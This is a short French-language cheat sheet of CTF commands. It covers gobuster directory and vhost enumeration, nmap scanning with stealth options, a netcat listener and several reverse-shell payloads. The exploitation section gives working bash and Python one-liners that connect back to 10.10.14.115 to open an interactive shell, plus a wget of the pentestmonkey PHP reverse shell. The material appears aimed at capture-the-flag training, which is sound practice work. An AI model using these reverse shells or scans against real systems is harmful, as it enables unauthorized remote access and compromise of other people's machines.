Mémo Commandes CTF
📁 Infrastructure ctf/ ├── 02_challenges/ └── 03_tools/ └── SecLists/ 🔍 Reconnaissance Gobuster - Énumération de répertoires # Recherche de dossiers et fichiers web gobuster dir -w directory-list-2.3-small.txt -u http://url/ -x php,html,js dir : mode énumération de répertoires -w : wordlist à utiliser -u : URL cible -x : extensions de fichiers à tester Gobuster - Énumération de vhosts # Recherche de sous-domaines virtuels gobuster vhost -w ~/ctf/03_tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \ -u http://url \ --append-domain vhost : mode virtual host --append-domain : ajoute le domaine de base aux sous-domaines testés Nmap - Scan de ports # Scan complet avec détection de services nmap -A url # Scan avancé sans ping nmap -Pn -sV -sS -sC -O url -A : détection OS, version, scripts, traceroute -Pn : pas de ping (utile si firewall) -sV : détection de version des services -sS : SYN scan (furtif) -sC : scripts par défaut -O : détection de l’OS 💣 Exploitation Netcat - Listener # Écoute pour reverse shell nc -lvnp 4444 -l : mode écoute (listen) -v : mode verbeux -n : pas de résolution DNS -p : port d’écoute Reverse Shell - Bash bash -c "bash -i >& /dev/tcp/10.10.14.115/4444 0>&1" -i : shell interactif >& : redirige stdout et stderr 0>&1 : redirige stdin vers stdout Reverse Shell - Python export RHOST="10.10.14.115";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")' pty.spawn() : spawne un pseudo-terminal os.dup2() : duplique les descripteurs de fichiers Reverse Shell - php https://github.com/pentestmonkey/php-reverse-shell wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php ...